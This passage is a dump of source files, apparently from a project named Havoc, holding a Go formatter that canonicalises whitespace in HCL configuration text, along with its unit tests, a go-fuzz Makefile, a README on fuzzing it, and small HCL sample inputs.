    "content": "package hclwrite\n\nimport (\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nvar inKeyword = hclsyntax.Keyword([]byte{'i', 'n'})\n\n// placeholder token used when we don't have a token but we don't want\n// to pass a real \"nil\" and complicate things with nil pointer checks\nvar nilToken = &Token{\n    Type:         hclsyntax.TokenNil,\n    Bytes:        []byte{},\n    SpacesBefore: 0,\n}\n\n// format rewrites tokens within the given sequence, in-place, to adjust the\n// whitespace around their content to achieve canonical formatting.\nfunc format(tokens Tokens) {\n    // Formatting is a multi-pass process. More details on the passes below,\n    // but this is the overview:\n    // - adjust the leading space on each line to create appropriate\n    //   indentation\n    // - adjust spaces between tokens in a single cell using a set of rules\n    // - adjust the leading space in the \"assign\" and \"comment\" cells on each\n    //   line to vertically align with neighboring lines.\n    // All of these steps operate in-place on the given tokens, so a caller\n    // may collect a flat sequence of all of the tokens underlying an AST\n    // and pass it here and we will then indirectly modify the AST itself.\n    // Formatting must change only whitespace. Specifically, that means\n    // changing the SpacesBefore attribute on a token while leaving the\n    // other token attributes unchanged.\n\n    lines := linesForFormat(tokens)\n    formatIndent(lines)\n    formatSpaces(lines)\n    formatCells(lines)\n}\n\nfunc formatIndent(lines []formatLine) {\n    // Our methodology for indents is to take the input one line at a time\n    // and count the bracketing delimiters on each line. If a line has a net\n    // increase in open brackets, we increase the indent level by one and\n    // remember how many new openers we had. If the line has a net _decrease_,\n    // we'll compare it to the most recent number of openers and decrease the\n    // dedent level by one each time we pass an indent level remembered\n    // earlier.\n    // The \"indent stack\" used here allows for us to recognize degenerate\n    // input where brackets are not symmetrical within lines and avoid\n    // pushing things too far left or right, creating confusion.\n\n    // We'll start our indent stack at a reasonable capacity to minimize the\n    // chance of us needing to grow it; 10 here means 10 levels of indent,\n    // which should be more than enough for reasonable HCL uses.\n    indents := make([]int, 0, 10)\n\n    for i := range lines {\n        line := &lines[i]\n        if len(line.lead) == 0 {\n            continue\n        }\n\n        if line.lead[0].Type == hclsyntax.TokenNewline {\n            // Never place spaces before a newline\n            line.lead[0].SpacesBefore = 0\n            continue\n        }\n\n        netBrackets := 0\n        for _, token := range line.lead {\n            netBrackets += tokenBracketChange(token)\n            if token.Type == hclsyntax.TokenOHeredoc {\n                break\n            }\n        }\n\n        for _, token := range line.assign {\n            netBrackets += tokenBracketChange(token)\n        }\n\n        switch {\n        case netBrackets > 0:\n            line.lead[0].SpacesBefore = 2 * len(indents)\n            indents = append(indents, netBrackets)\n        case netBrackets < 0:\n            closed := -netBrackets\n            for closed > 0 && len(indents) > 0 {\n                switch {\n\n                case closed > indents[len(indents)-1]:\n                    closed -= indents[len(indents)-1]\n                    indents = indents[:len(indents)-1]\n\n                case closed < indents[len(indents)-1]:\n                    indents[len(indents)-1] -= closed\n                    closed = 0\n\n                default:\n                    indents = indents[:len(indents)-1]\n                    closed = 0\n                }\n            }\n            line.lead[0].SpacesBefore = 2 * len(indents)\n        default:\n            line.lead[0].SpacesBefore = 2 * len(indents)\n        }\n    }\n}\n\nfunc formatSpaces(lines []formatLine) {\n    for _, line := range lines {\n        for i, token := range line.lead {\n            var before, after *Token\n            if i > 0 {\n                before = line.lead[i-1]\n            } else {\n                before = nilToken\n            }\n            if i < (len(line.lead) - 1) {\n                after = line.lead[i+1]\n            } else {\n                after = nilToken\n            }\n            if spaceAfterToken(token, before, after) {\n                after.SpacesBefore = 1\n            } else {\n                after.SpacesBefore = 0\n            }\n        }\n        for i, token := range line.assign {\n            if i == 0 {\n                // first token in \"assign\" always has one space before to\n                // separate the equals sign from what it's assigning.\n                token.SpacesBefore = 1\n            }\n\n            var before, after *Token\n            if i > 0 {\n                before = line.assign[i-1]\n            } else {\n                before = nilToken\n            }\n            if i < (len(line.assign) - 1) {\n                after = line.assign[i+1]\n            } else {\n                after = nilToken\n            }\n            if spaceAfterToken(token, before, after) {\n                after.SpacesBefore = 1\n            } else {\n                after.SpacesBefore = 0\n            }\n        }\n\n    }\n}\n\nfunc formatCells(lines []formatLine) {\n\n    chainStart := -1\n    maxColumns := 0\n\n    // We'll deal with the \"assign\" cell first, since moving that will\n    // also impact the \"comment\" cell.\n    closeAssignChain := func(i int) {\n        for _, chainLine := range lines[chainStart:i] {\n            columns := chainLine.lead.Columns()\n            spaces := (maxColumns - columns) + 1\n            chainLine.assign[0].SpacesBefore = spaces\n        }\n        chainStart = -1\n        maxColumns = 0\n    }\n    for i, line := range lines {\n        if line.assign == nil {\n            if chainStart != -1 {\n                closeAssignChain(i)\n            }\n        } else {\n            if chainStart == -1 {\n                chainStart = i\n            }\n            columns := line.lead.Columns()\n            if columns > maxColumns {\n                maxColumns = columns\n            }\n        }\n    }\n    if chainStart != -1 {\n        closeAssignChain(len(lines))\n    }\n\n    // Now we'll deal with the comments\n    closeCommentChain := func(i int) {\n        for _, chainLine := range lines[chainStart:i] {\n            columns := chainLine.lead.Columns() + chainLine.assign.Columns()\n            spaces := (maxColumns - columns) + 1\n            chainLine.comment[0].SpacesBefore = spaces\n        }\n        chainStart = -1\n        maxColumns = 0\n    }\n    for i, line := range lines {\n        if line.comment == nil {\n            if chainStart != -1 {\n                closeCommentChain(i)\n            }\n        } else {\n            if chainStart == -1 {\n                chainStart = i\n            }\n            columns := line.lead.Columns() + line.assign.Columns()\n            if columns > maxColumns {\n                maxColumns = columns\n            }\n        }\n    }\n    if chainStart != -1 {\n        closeCommentChain(len(lines))\n    }\n\n}\n\n// spaceAfterToken decides whether a particular subject token should have a\n// space after it when surrounded by the given before and after tokens.\n// \"before\" can be TokenNil, if the subject token is at the start of a sequence.\nfunc spaceAfterToken(subject, before, after *Token) bool {\n    switch {\n\n    case after.Type == hclsyntax.TokenNewline || after.Type == hclsyntax.TokenNil:\n        // Never add spaces before a newline\n        return false\n\n    case subject.Type == hclsyntax.TokenIdent && after.Type == hclsyntax.TokenOParen:\n        // Don't split a function name from open paren in a call\n        return false\n\n    case subject.Type == hclsyntax.TokenDot || after.Type == hclsyntax.TokenDot:\n        // Don't use spaces around attribute access dots\n        return false\n\n    case after.Type == hclsyntax.TokenComma || after.Type == hclsyntax.TokenEllipsis:\n        // No space right before a comma or ... in an argument list\n        return false\n\n    case subject.Type == hclsyntax.TokenComma:\n        // Always a space after a comma\n        return true\n\n    case subject.Type == hclsyntax.TokenQuotedLit || subject.Type == hclsyntax.TokenStringLit || subject.Type == hclsyntax.TokenOQuote || subject.Type == hclsyntax.TokenOHeredoc || after.Type == hclsyntax.TokenQuotedLit || after.Type == hclsyntax.TokenStringLit || after.Type == hclsyntax.TokenCQuote || after.Type == hclsyntax.TokenCHeredoc:\n        // No extra spaces within templates\n        return false\n\n    case inKeyword.TokenMatches(subject.asHCLSyntax()) && before.Type == hclsyntax.TokenIdent:\n        // This is a special case for inside for expressions where a user\n        // might want to use a literal tuple constructor:\n        // [for x in [foo]: x]\n        // ... in that case, we would normally produce in[foo] thinking that\n        // in is a reference, but we'll recognize it as a keyword here instead\n        // to make the result less confusing.\n        return true\n\n    case after.Type == hclsyntax.TokenOBrack && (subject.Type == hclsyntax.TokenIdent || subject.Type == hclsyntax.TokenNumberLit || tokenBracketChange(subject) < 0):\n        return false\n\n    case subject.Type == hclsyntax.TokenBang:\n        // No space after a bang\n        return false\n\n    case subject.Type == hclsyntax.TokenMinus:\n        // Since a minus can either be subtraction or negation, and the latter\n        // should _not_ have a space after it, we need to use some heuristics\n        // to decide which case this is.\n        // We guess that we have a negation if the token before doesn't look\n        // like it could be the end of an expression.\n\n        switch before.Type {\n\n        case hclsyntax.TokenNil:\n            // Minus at the start of input must be a negation\n            return false\n\n        case hclsyntax.TokenOParen, hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenEqual, hclsyntax.TokenColon, hclsyntax.TokenComma, hclsyntax.TokenQuestion:\n            // Minus immediately after an opening bracket or separator must be a negation.\n            return false\n\n        case hclsyntax.TokenPlus, hclsyntax.TokenStar, hclsyntax.TokenSlash, hclsyntax.TokenPercent, hclsyntax.TokenMinus:\n            // Minus immediately after another arithmetic operator must be negation.\n            return false\n\n        case hclsyntax.TokenEqualOp, hclsyntax.TokenNotEqual, hclsyntax.TokenGreaterThan, hclsyntax.TokenGreaterThanEq, hclsyntax.TokenLessThan, hclsyntax.TokenLessThanEq:\n            // Minus immediately after another comparison operator must be negation.\n            return false\n\n        case hclsyntax.TokenAnd, hclsyntax.TokenOr, hclsyntax.TokenBang:\n            // Minus immediately after logical operator doesn't make sense but probably intended as negation.\n            return false\n\n        default:\n            return true\n        }\n\n    case subject.Type == hclsyntax.TokenOBrace || after.Type == hclsyntax.TokenCBrace:\n        // Unlike other bracket types, braces have spaces on both sides of them,\n        // both in single-line nested blocks foo { bar = baz } and in object\n        // constructor expressions foo = { bar = baz }.\n        if subject.Type == hclsyntax.TokenOBrace && after.Type == hclsyntax.TokenCBrace {\n            // An open brace followed by a close brace is an exception, however.\n            // e.g. foo {} rather than foo { }\n            return false\n        }\n        return true\n\n    // In the unlikely event that an interpolation expression is just\n    // a single object constructor, we'll put a space between the ${ and\n    // the following { to make this more obvious, and then the same\n    // thing for the two braces at the end.\n    case (subject.Type == hclsyntax.TokenTemplateInterp || subject.Type == hclsyntax.TokenTemplateControl) && after.Type == hclsyntax.TokenOBrace:\n        return true\n    case subject.Type == hclsyntax.TokenCBrace && after.Type == hclsyntax.TokenTemplateSeqEnd:\n        return true\n\n    // Don't add spaces between interpolated items\n    case subject.Type == hclsyntax.TokenTemplateSeqEnd && (after.Type == hclsyntax.TokenTemplateInterp || after.Type == hclsyntax.TokenTemplateControl):\n        return false\n\n    case tokenBracketChange(subject) > 0:\n        // No spaces after open brackets\n        return false\n\n    case tokenBracketChange(after) < 0:\n        // No spaces before close brackets\n        return false\n\n    default:\n        // Most tokens are space-separated\n        return true\n\n    }\n}\n\nfunc linesForFormat(tokens Tokens) []formatLine {\n    if len(tokens) == 0 {\n        return make([]formatLine, 0)\n    }\n\n    // first we'll count our lines, so we can allocate the array for them in\n    // a single block. (We want to minimize memory pressure in this codepath,\n    // so it can be run somewhat-frequently by editor integrations.)\n    lineCount := 1 // if there are zero newlines then there is one line\n    for _, tok := range tokens {\n        if tokenIsNewline(tok) {\n            lineCount++\n        }\n    }\n\n    // To start, we'll just put everything in the \"lead\" cell on each line,\n    // and then do another pass over the lines afterwards to adjust.\n    lines := make([]formatLine, lineCount)\n    li := 0\n    lineStart := 0\n    for i, tok := range tokens {\n        if tok.Type == hclsyntax.TokenEOF {\n            // The EOF token doesn't belong to any line, and terminates the\n            // token sequence.\n            lines[li].lead = tokens[lineStart:i]\n            break\n        }\n\n        if tokenIsNewline(tok) {\n            lines[li].lead = tokens[lineStart : i+1]\n            lineStart = i + 1\n            li++\n        }\n    }\n\n    // If a set of tokens doesn't end in TokenEOF (e.g. because it's a\n    // fragment of tokens from the middle of a file) then we might fall\n    // out here with a line still pending.\n    if lineStart < len(tokens) {\n        lines[li].lead = tokens[lineStart:]\n        if lines[li].lead[len(lines[li].lead)-1].Type == hclsyntax.TokenEOF {\n            lines[li].lead = lines[li].lead[:len(lines[li].lead)-1]\n        }\n    }\n\n    // Now we'll pick off any trailing comments and attribute assignments\n    // to shuffle off into the \"comment\" and \"assign\" cells.\n    for i := range lines {\n        line := &lines[i]\n\n        if len(line.lead) == 0 {\n            // if the line is empty then there's nothing for us to do\n            // (this should happen only for the final line, because all other\n            // lines would have a newline token of some kind)\n            continue\n        }\n\n        if len(line.lead) > 1 && line.lead[len(line.lead)-1].Type == hclsyntax.TokenComment {\n            line.comment = line.lead[len(line.lead)-1:]\n            line.lead = line.lead[:len(line.lead)-1]\n        }\n\n        for i, tok := range line.lead {\n            if i > 0 && tok.Type == hclsyntax.TokenEqual {\n                // We only move the tokens into \"assign\" if the RHS seems to\n                // be a whole expression, which we determine by counting\n                // brackets. If there's a net positive number of brackets\n                // then that suggests we're introducing a multi-line expression.\n                netBrackets := 0\n                for _, token := range line.lead[i:] {\n                    netBrackets += tokenBracketChange(token)\n                }\n\n                if netBrackets == 0 {\n                    line.assign = line.lead[i:]\n                    line.lead = line.lead[:i]\n                }\n                break\n            }\n        }\n    }\n\n    return lines\n}\n\nfunc tokenIsNewline(tok *Token) bool {\n    if tok.Type == hclsyntax.TokenNewline {\n        return true\n    } else if tok.Type == hclsyntax.TokenComment {\n        // Single line tokens (# and //) consume their terminating newline,\n        // so we need to treat them as newline tokens as well.\n        if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\\n' {\n            return true\n        }\n    }\n    return false\n}\n\nfunc tokenBracketChange(tok *Token) int {\n    switch tok.Type {\n    case hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenOParen, hclsyntax.TokenTemplateControl, hclsyntax.TokenTemplateInterp:\n        return 1\n    case hclsyntax.TokenCBrace, hclsyntax.TokenCBrack, hclsyntax.TokenCParen, hclsyntax.TokenTemplateSeqEnd:\n        return -1\n    default:\n        return 0\n    }\n}\n\n// formatLine represents a single line of source code for formatting purposes,\n// splitting its tokens into up to three \"cells\":\n//\n// lead: always present, representing everything up to one of the others\n// assign: if line contains an attribute assignment, represents the tokens\n//    starting at (and including) the equals symbol\n// comment: if line contains any non-comment tokens and ends with a\n//    single-line comment token, represents the comment.\n//\n// When formatting, the leading spaces of the first tokens in each of these\n// cells is adjusted to align vertically their occurrences on consecutive\n// rows.\ntype formatLine struct {\n    lead    Tokens\n    assign  Tokens\n    comment Tokens\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/format_test.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"testing\"\n\n    \"reflect\"\n\n    \"github.com/davecgh/go-spew/spew\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc TestFormat(t *testing.T) {\n    tests := []struct {\n        input string\n        want  string\n    }{\n        {\n            ``,\n            ``,\n        },\n        {\n            `a=1`,\n            `a = 1`,\n        },\n        {\n            `a=b.c`,\n            `a = b.c`,\n        },\n        {\n            `a=b[c]`,\n            `a = b[c]`,\n        },\n        {\n            `a=b()[c]`,\n            `a = b()[c]`,\n        },\n        {\n            `a=[\"hello\"][0]`,\n            `a = [\"hello\"][0]`,\n        },\n        {\n            `( a+2 )`,\n            `(a + 2)`,\n        },\n        {\n            `( a*2 )`,\n            `(a * 2)`,\n        },\n        {\n            `( a+-2 )`,\n            `(a + -2)`,\n        },\n        {\n            `( a*-2 )`,\n            `(a * -2)`,\n        },\n        {\n            `(-2+1)`,\n            `(-2 + 1)`,\n        },\n        {\n            `foo(1, -2,a*b, b,c)`,\n            `foo(1, -2, a * b, b, c)`,\n        },\n        {\n            `foo(a,b...)`,\n            `foo(a, b...)`,\n        },\n        {\n            `! true`,\n            `!true`,\n        },\n        {\n            `a=\"hello ${ name }\"`,\n            `a = \"hello ${name}\"`,\n        },\n        {\n            `a=\"hello ${~ name ~}\"`,\n            `a = \"hello ${~name~}\"`,\n        },\n        {\n            `a=\"${b}${c}${ d } ${e}\"`,\n            `a = \"${b}${c}${d} ${e}\"`,\n        },\n        {\n            `\"%{if true}${var.foo}%{endif}\"`,\n            `\"%{if true}${var.foo}%{endif}\"`,\n        },\n        {\n            `b{}`,\n            `b {}`,\n        },\n        {\n            `\n\"${\nhello\n}\"\n`,\n            `\n\"${\n  hello\n}\"\n`,\n        },\n        {\n            `\nfoo(\n1,\n- 2,\na*b,\nb,\nc,\n)\n`,\n            `\nfoo(\n  1,\n  -2,\n  a * b,\n  b,\n  c,\n)\n`,\n        },\n        {\n            `a?b:c`,\n            `a ? b : c`,\n        },\n        {\n            `[ [ ] ]`,\n            `[[]]`,\n        },\n        {\n            `[for x in y : x]`,\n            `[for x in y : x]`,\n        },\n        {\n            `[for x in [y] : x]`,\n            `[for x in [y] : x]`,\n        },\n        {\n            `\n[\n[\na\n]\n]\n`,\n            `\n[\n  [\n    a\n  ]\n]\n`,\n        },\n        {\n            `\n[[\na\n]]\n`,\n            `\n[[\n  a\n]]\n`,\n        },\n        {\n            `\n[[\n[\na\n]\n]]\n`,\n            `\n[[\n  [\n    a\n  ]\n]]\n`,\n        },\n        {\n            // degenerate case with asymmetrical brackets\n            `\n[[\n[\na\n]]\n]\n`,\n            `\n[[\n  [\n    a\n  ]]\n]\n`,\n        },\n        {\n            `\nb {\na = 1\n}\n`,\n            `\nb {\n  a = 1\n}\n`,\n        },\n        {\n            `\nb {a = 1}\n`,\n            `\nb { a = 1 }\n`,\n        },\n        {\n            `\na = 1\nbungle = 2\n`,\n            `\na      = 1\nbungle = 2\n`,\n        },\n        {\n            `\na = 1\n\nbungle = 2\n`,\n            `\na = 1\n\nbungle = 2\n`,\n        },\n        {\n            `\na = 1 # foo\nbungle = 2\n`,\n            `\na      = 1 # foo\nbungle = 2\n`,\n        },\n        {\n            `\na = 1 # foo\nbungle = \"bonce\" # baz\n`,\n            `\na      = 1       # foo\nbungle = \"bonce\" # baz\n`,\n        },\n        {\n            `\n# here we go\na = 1 # foo\nbungle = \"bonce\" # baz\n`,\n            `\n# here we go\na      = 1       # foo\nbungle = \"bonce\" # baz\n`,\n        },\n        {\n            `\nfoo {} # here we go\na = 1 # foo\nbungle = \"bonce\" # baz\n`,\n            `\nfoo {}           # here we go\na      = 1       # foo\nbungle = \"bonce\" # baz\n`,\n        },\n        {\n            `\na = 1 # foo\nbungle = \"bonce\" # baz\nzebra = \"striped\" # baz\n`,\n            `\na      = 1         # foo\nbungle = \"bonce\"   # baz\nzebra  = \"striped\" # baz\n`,\n        },\n        {\n            `\na = 1 # foo\nbungle = (\n    \"bonce\"\n) # baz\nzebra = \"striped\" # baz\n`,\n            `\na = 1 # foo\nbungle = (\n  \"bonce\"\n)                 # baz\nzebra = \"striped\" # baz\n`,\n        },\n        {\n            `\na=\"apple\"# foo\nbungle=(# woo parens\n\"bonce\"\n)# baz\nzebra=\"striped\"# baz\n`,\n            `\na = \"apple\" # foo\nbungle = (  # woo parens\n  \"bonce\"\n)                 # baz\nzebra = \"striped\" # baz\n`,\n        },\n        {\n            `\n𝒜 = 1 # foo\nbungle = \"🇬🇧\" # baz\nzebra = \"striped\" # baz\n`,\n            `\n𝒜      = 1         # foo\nbungle = \"🇬🇧\"       # baz\nzebra  = \"striped\" # baz\n`,\n        },\n        {\n            `\nfoo {\n# ...\n}\n`,\n            `\nfoo {\n  # ...\n}\n`,\n        },\n        {\n            `\nfoo = {\n# ...\n}\n`,\n            `\nfoo = {\n  # ...\n}\n`,\n        },\n        {\n            `\nfoo = [\n# ...\n]\n`,\n            `\nfoo = [\n  # ...\n]\n`,\n        },\n        {\n            `\nfoo = [{\n# ...\n}]\n`,\n            `\nfoo = [{\n  # ...\n}]\n`,\n        },\n        {\n            `\nfoo {\nbar {\n# ...\n}\n}\n`,\n            `\nfoo {\n  bar {\n    # ...\n  }\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = {\n# ...\n}\n}\n`,\n            `\nfoo {\n  bar = {\n    # ...\n  }\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = [\n# ...\n]\n}\n`,\n            `\nfoo {\n  bar = [\n    # ...\n  ]\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<EOT\nFoo bar baz\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<EOT\nFoo bar baz\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<-EOT\nFoo bar baz\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<-EOT\nFoo bar baz\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<-EOT\n  Foo bar baz\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<-EOT\n  Foo bar baz\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<-EOT\n  blahblahblah = x\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<-EOT\n  blahblahblah = x\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<-EOT\n  ${{ blahblahblah = x }}\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<-EOT\n  ${ { blahblahblah = x } }\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\n  bar = <<-EOT\n  ${a}${b}${ c } ${d}\nEOT\n}\n`,\n            `\nfoo {\n  bar = <<-EOT\n  ${a}${b}${c} ${d}\nEOT\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<EOT\nFoo bar baz\nEOT\n}\n\nbaz {\ndefault=\"string\"\n}\n`,\n            `\nfoo {\n  bar = <<EOT\nFoo bar baz\nEOT\n}\n\nbaz {\n  default = \"string\"\n}\n`,\n        },\n        {\n            `\nfoo {\nbar = <<EOT\nFoo bar baz\nEOT\nbaz = <<EOT\nFoo bar baz\nEOT\n}\n\nbar {\nfoo = \"bar\"\n}\n`,\n            `\nfoo {\n  bar = <<EOT\nFoo bar baz\nEOT\n  baz = <<EOT\nFoo bar baz\nEOT\n}\n\nbar {\n  foo = \"bar\"\n}\n`,\n        },\n        {\n            `\nmodule \"foo\" {\nfoo = <<EOF\n5\nEOF\n}\n\nmodule \"x\" {\na = \"b\"\nabcde = \"456\"\n}`,\n            `\nmodule \"foo\" {\n  foo = <<EOF\n5\nEOF\n}\n\nmodule \"x\" {\n  a     = \"b\"\n  abcde = \"456\"\n}`,\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d\", i), func(t *testing.T) {\n            tokens := lexConfig([]byte(test.input))\n            format(tokens)\n            t.Logf(\"tokens %s\\n\", spew.Sdump(tokens))\n            got := string(tokens.Bytes())\n\n            if got != test.want {\n                t.Errorf(\"wrong result\\ninput:\\n%s\\ngot:\\n%s\\nwant:\\n%s\", test.input, got, test.want)\n            }\n        })\n    }\n\n}\n\nfunc TestLinesForFormat(t *testing.T) {\n    tests := []struct {\n        tokens Tokens\n        want   []formatLine\n    }{\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{},\n                },\n            },\n        },\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenIdent},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenIdent},\n                    },\n                },\n            },\n        },\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenIdent},\n                &Token{Type: hclsyntax.TokenNewline},\n                &Token{Type: hclsyntax.TokenNumberLit},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenIdent},\n                        &Token{Type: hclsyntax.TokenNewline},\n                    },\n                },\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenNumberLit},\n                    },\n                },\n            },\n        },\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenIdent},\n                &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                &Token{Type: hclsyntax.TokenNumberLit},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenIdent},\n                    },\n                    comment: Tokens{\n                        &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                    },\n                },\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenNumberLit},\n                    },\n                },\n            },\n        },\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenIdent},\n                &Token{Type: hclsyntax.TokenEqual},\n                &Token{Type: hclsyntax.TokenNumberLit},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenIdent},\n                    },\n                    assign: Tokens{\n                        &Token{Type: hclsyntax.TokenEqual},\n                        &Token{Type: hclsyntax.TokenNumberLit},\n                    },\n                },\n            },\n        },\n        {\n            Tokens{\n                &Token{Type: hclsyntax.TokenIdent},\n                &Token{Type: hclsyntax.TokenEqual},\n                &Token{Type: hclsyntax.TokenNumberLit},\n                &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenIdent},\n                    },\n                    assign: Tokens{\n                        &Token{Type: hclsyntax.TokenEqual},\n                        &Token{Type: hclsyntax.TokenNumberLit},\n                    },\n                    comment: Tokens{\n                        &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                    },\n                },\n                {\n                    lead: Tokens{},\n                },\n            },\n        },\n        {\n            Tokens{\n                // A comment goes into a comment cell only if it is after\n                // some non-comment tokens, since whole-line comments must\n                // stay flush with the indent level.\n                &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                &Token{Type: hclsyntax.TokenEOF},\n            },\n            []formatLine{\n                {\n                    lead: Tokens{\n                        &Token{Type: hclsyntax.TokenComment, Bytes: []byte(\"#foo\\n\")},\n                    },\n                },\n                {\n                    lead: Tokens{},\n                },\n            },\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d\", i), func(t *testing.T) {\n            got := linesForFormat(test.tokens)\n\n            if !reflect.DeepEqual(got, test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/Makefile",
    "content": "\nifndef FUZZ_WORK_DIR\n$(error FUZZ_WORK_DIR is not set)\nendif\n\ndefault:\n\t@echo \"See README.md for usage instructions\"\n\nfuzz-config: fuzz-exec-config\n\nfuzz-exec-%: fuzz%-fuzz.zip\n\tgo-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR)\n\nfuzz%-fuzz.zip: %/fuzz.go\n\tgo-fuzz-build -x Havoc/pkg/profile/yaotl/hclwrite/fuzz/$*\n\ntools:\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz-build\n\nclean:\n\trm fuzz*-fuzz.zip\n\n.PHONY: tools clean fuzz-config\n.PRECIOUS: fuzzconfig-fuzz.zip\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/README.md",
    "content": "# hclwrite fuzzing utilities\n\nThis directory contains helper functions and corpuses that can be used to\nfuzz-test the `hclwrite` package using [go-fuzz](https://github.com/dvyukov/go-fuzz).\n\n## Work directory\n\n`go-fuzz` needs a working directory where it can keep state as it works.  This\nshould ideally be in a ramdisk for efficiency, and should probably _not_ be on\nan SSD to avoid thrashing it. Here's how to create a ramdisk:\n\n### macOS\n\n```\n$ SIZE_IN_MB=1024\n$ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))`\n$ diskutil erasevolume HFS+ RamDisk $DEVICE\n$ export RAMDISK=/Volumes/RamDisk\n```\n\n### Linux\n\n```\n$ mkdir /mnt/ramdisk\n$ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk\n$ export RAMDISK=/mnt/ramdisk\n```\n\n## Running the fuzzer\n\nNext, install `go-fuzz` and its build tool in your `GOPATH`:\n\n```\n$ make tools FUZZ_WORK_DIR=$RAMDISK\n```\n\nNow you can fuzz the parser:\n\n```\n$ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/hclwrite-fuzz-config\n```\n\n~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build\nerrors where the package `go.fuzz.main` could not be found, you may need to use\na machine with a direct installation of Go.\n\n## Understanding the result\n\nA small number of subdirectories will be created in the work directory.\n\nIf you let `go-fuzz` run for a few minutes (the more minutes the better) it\nmay detect \"crashers\", which are inputs that caused the parser to panic. Details\nabout these are written to `$FUZZ_WORK_DIR/crashers`:\n\n```\n$ ls /tmp/hcl2-fuzz-config/crashers\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted\n```\n\nThe base file above (with no extension) is the input that caused a crash. The\n`.output` file contains the panic stack trace, which you can use as a clue to\nfigure out what caused the crash.\n\nA good first step to fixing a detected crasher is to copy the failing input\ninto one of the unit tests in the `hclwrite` package and see it crash there\ntoo. After that, it's easy to re-run the test as you try to fix it. The\nfile with the `.quoted` extension contains a form of the input that is quoted\nin Go syntax for easy copy-paste into a test case, even if the input contains\nnon-printable characters or other inconvenient symbols.\n\n## Rebuilding for new Upstream Code\n\nAn archive file is created for `go-fuzz` to use on the first run of each\nof the above, as a `.zip` file created in this directory. If upstream code\nis changed these will need to be deleted to cause them to be rebuilt with\nthe latest code:\n\n```\n$ make clean\n```\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr-expr.hcl",
    "content": "foo = upper(bar + baz[1])\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr-literal.hcl",
    "content": "foo = \"bar\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr.hcl",
    "content": "a = foo.bar\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-attrs.hcl",
    "content": "block {\n  foo = true\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-comment.hcl",
    "content": "/* multi\n   line\n   comment\n*/\n"
  },
  {
